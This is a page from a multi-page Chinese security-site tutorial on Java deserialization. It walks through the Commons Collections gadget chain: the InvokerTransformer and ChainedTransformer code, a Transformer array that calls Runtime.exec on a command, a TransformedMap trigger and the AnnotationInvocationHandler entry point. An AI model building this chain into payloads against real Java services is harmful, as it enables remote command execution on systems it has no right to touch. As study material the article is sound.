欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

浅析Java序列化和反序列化

来源:本站整理 作者:佚名 时间:2019-01-15 TAG: 我要投稿
    iParamTypes = paramTypes;
    iArgs = args;
}
public Object transform(Object input) {
    // omit
    Class cls = input.getClass();
    Method method = cls.getMethod(iMethodName, iParamTypes);
    return method.invoke(input, iArgs);
    // omit
}
ChainedTransformer
public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
}
public Object transform(Object object) {
    for (int i = 0; i  iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}
利用这几个对象,可以构造出下面这条链:
Transformer[] trans = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
        new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd })};
Transformer chain = new ChainedTransformer(trans);
其中,数组的中间两个元素是最让人费解的,我们一句一句来解释 (前方高能预警,请对照上面几个Transformer的逻辑仔细看,接下来的内容网上有些解释是存在出入的) :
构造一个ConstantTransformer,把Runtime的Class对象传进去,在transform()时,始终会返回这个对象
构造一个InvokerTransformer,待调用方法名为getMethod,参数为getRuntime,在transform()时,传入1的结果,此时的input应该是java.lang.Runtime,但经过getClass()之后,cls为java.lang.Class,之后getMethod()只能获取java.lang.Class的方法,因此才会定义的待调用方法名为getMethod,然后其参数才是getRuntime,它得到的是getMethod这个方法的Method对象,invoke()调用这个方法,最终得到的才是getRuntime这个方法的Method对象
构造一个InvokerTransformer,待调用方法名为invoke,参数为空,在transform()时,传入2的结果,同理,cls将会是java.lang.reflect.Method,再获取并调用它的invoke方法,实际上是调用上面的getRuntime()拿到Runtime对象
构造一个InvokerTransformer,待调用方法名为exec,参数为命令字符串,在transform()时,传入3的结果,获取java.lang.Runtime的exec方法并传参调用
最后把它们组装成一个数组全部放进ChainedTransformer中,在transform()时,会将前一个元素的返回结果作为下一个的参数,刚好满足需求
既然第2、3步这么绕,我们又知道了为什么,是不是可以考虑用下面这种逻辑更清晰的方式来构造呢:
Transformer[] trans = new Transformer[] {
        new ConstantTransformer(Runtime.getRuntime()),
        new InvokerTransformer("getRuntime", new Class[0], new Object[0]),
        new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd })};
答案是不行的。虽然单看整个链,无论是定义还是执行都是没有任何问题的,但是在后续序列化时,由于Runtime.getRuntime()得到的是一个对象,这个对象也需要参与序列化过程,而Runtime本身是没有实现Serializable接口的,所以会导致序列化失败。
也有同学可能看过ysoserial构造的Payload,它的习惯是先定义一个包含『无效』Transformer的ChainedTransformer,等所有对象装填完毕之后再利用反射将实际的数组放进去。这么做的原因作者也在一个Issue中给了解释,我们直接看原文:
Generally any reflection at the end of gadget-chain set up is done to “arm” the chain because constructing it while armed can result in premature “detonation” during set-up and cause it to be inert when serialized and deserialized by the target application.
现在,有了这条Transformer链,就等着谁来执行它的transform()了。
网上流传的示例很多都是使用一个名为TransformedMap的装饰器来触发transform(),它在装饰时会传入原始Map、一个键转换器Transformer和一个值转换器Transformer,而它的父类在内部实现了一个AbstractMapEntryDecorator的子类,会在setValue()前调用checkSetValue()进行检查,而TransformedMap.checkSetValue()会调用它的值转换器的transform(),因此装饰任意一个有元素的Map就可以满足需求:
Map m = TransformedMap.decorate(new HashMap(){{ put("value", "anything"); }}, null, chain);
这时,我们只需要再找一个包含可控Map字段,并会在反序列化时对这个Map进行setValue()或get()操作的公共对象。
幸运的是,前辈们在JDK较早的版本中发现了AnnotationInvocationHandler这个对象 (较新版本的JDK可以使用BadAttributeValueExpException,在这里就不展开了) ,它在初始化时可以传入一个Map类型参数赋值给字段memberValues,readObject()过程中如果满足一定条件就会对memberValues中的元素进行setValue():
private void readObject(java.io.ObjectInputStream s)
    s.defaultReadObject();

上一页  [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载